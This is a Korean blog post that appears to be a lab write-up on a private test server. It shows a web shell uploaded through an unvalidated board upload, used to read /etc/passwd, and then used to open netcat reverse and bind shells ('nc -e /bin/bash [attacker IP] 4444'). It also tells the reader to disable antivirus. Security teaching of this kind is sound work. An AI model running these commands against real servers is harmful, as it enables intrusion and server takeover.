본문 바로가기
💻Information Security

웹 셸 업로드 공격 및 리버스셸/바인드 실습

by Prof. Panda 2024. 2. 12.

실습 목표

본 실습의 목표는 직접 제작한 웹 서버에 웹셸을 업로드하는 공격을 실습해 보는 것입니다. 웹셸을 업로드하는 절차를 알아봄으로써 업로드 공격을 통한 시스템 침투/장악에 대한 작동 원리를 알아보겠습니다. 해당 실습은 상용에서 서비스되지 않는 개인 서버에서 진행되었습니다. 본 실습을 실제 서비스 되고 있는 서버에 하게 되면 범죄입니다. 리버스 셸과 바인드 셸의 경우 웹셸로 연결하기 어렵습니다. HTTP의 경우 비연결성이 있는 프로토콜로 웹셸 실행 결과를 보여준 뒤에 연결이 해제되어 바인딩이 되지 않습니다. 따라서 별도로 리버스 셸을 업로드 하여 연결하여야 하지만, 본 실습에서는 해당 절차를 생략하겠습니다.

환경

서버 : 리눅스 가상서버

침투 : Windows 10

절차

1) 웹에 로그인하여 게시판에 접근합니다.

판다 웹앱 게시판

2) 게시판의 글을 작성하여 웹셸을  업로드합니다. 본 서버의 게시판은 별도의 파일 검증이 없어서 그냥 업로드가 됩니다.

3) 업로드가 성공한 것을 볼 수 있습니다. 디렉터리를 찾아보면 'http://172.30.1.90:1018/board/upload/webshell.php'이 위치에 업로드가 된 것을 볼 수 있습니다.

4) 해당 웹셸에 접근해서 ls 명령어 넣어서 작동하는지 확인합니다. 정상적으로 작동하는 것을 확인할 수 있습니다.

5) cat /etc/passwd를 통해서 웹셸로 서버를 장악한 것을 확인할 수 있습니다.

6) 이를 통해 리버스 쉘/ 바인드 쉘 등의 공격을 실행할 수 있습니다.

  • 리버스 쉘
    • 공격자 cmd에서 "nc -l -p [포트지정]"로 열어준 뒤
    • 리버스 쉘 cmd 페이로드 입력 : nc -e '/bin/bash' [공격자 PC IP] [지정된포트]
    • 공격자 cmd에서 서버의 cmd 사용 가능
  • 바인드 쉘
    • 서버 쉘 cmd 명령어 입력 : nc -lvp [포트지정] -e /bin/bash
    • 공격자 cmd에서 "nc [서버IP] [지정된포트]"로 접속하여 
    • 공격자 cmd에서 서버의 cmd 사용 가능

nc (netcat) 사용전 환경 설정

윈도우를 사용하거나 apt-get을 제공하는 리눅스를 사용하는 경우 각각에 해당하는 환경설정의 내용입니다. MacOS를 통한 환경 설정은 실습에 실패했습니다. (눈물)

  • 윈도우
    • 윈도우 백신 일시 정지(가장 어려운 부분)
    • netcat 다운로드 (바이러스 검사에 걸리므로 허용 필요) - https://eternallybored.org/misc/netcat/
    • 적당한 위치에 압축 풀기 및 path에 추가
      • 윈도우버튼으로 검색하여 'path' 또는 '시스템 환경 변수 편집'으로 '시스템 속성' 들어가기
      • ctrl + N 또는 '환경변수' 클릭
      • 시스템 변수에서 path를 찾아서 수정
      • 새로만들기로 nc를 압축푼 위치를 추가

  • 리눅스 - 기본적으로 nc가 깔려있지 않거나 -e 옵션이 작동하지 않는 경우
    •  다운로드 및 설치 : "sudo apt-get install netcat-traditional"
    • 이미 다른 버전이 있는 경우 사용할 기본 nc를 수정 "sudo update-alternatives --config nc"

리버스 쉘

1) 공격자의 서버에서 'nc -l -p 4444'를 입력하여 4444의 포트를 리스닝으로 열어줍니다.

2) 서버에서 'nc -e /bin/bash [공격자 서버ip] 4444'를 입력하여 공격자 PC의 4444포트로 가서 /bin/bash를 실행시킵니다.

3) 공격자 서버에서 서버의 셸을 실행시킨 것을 확인할 수 있습니다. whoami 명령어를 치면 student(서버 계정 id)가 나오는 것을 볼 수 있습니다.

 

바인드 쉘

1) 서버에서 'nc -lvp 4444 -e /bin/bash'로 4444번 포트를 열어주고 실행 옵션을 넣습니다. 이제 공격자 서버에서 연결해주면 끝입니다.

2) 공격자 컴퓨터에서 'nc [서버 IP] 4444'를 입력하여 접속해주면 바로 서버의 셸을 이용할 수 있습니다.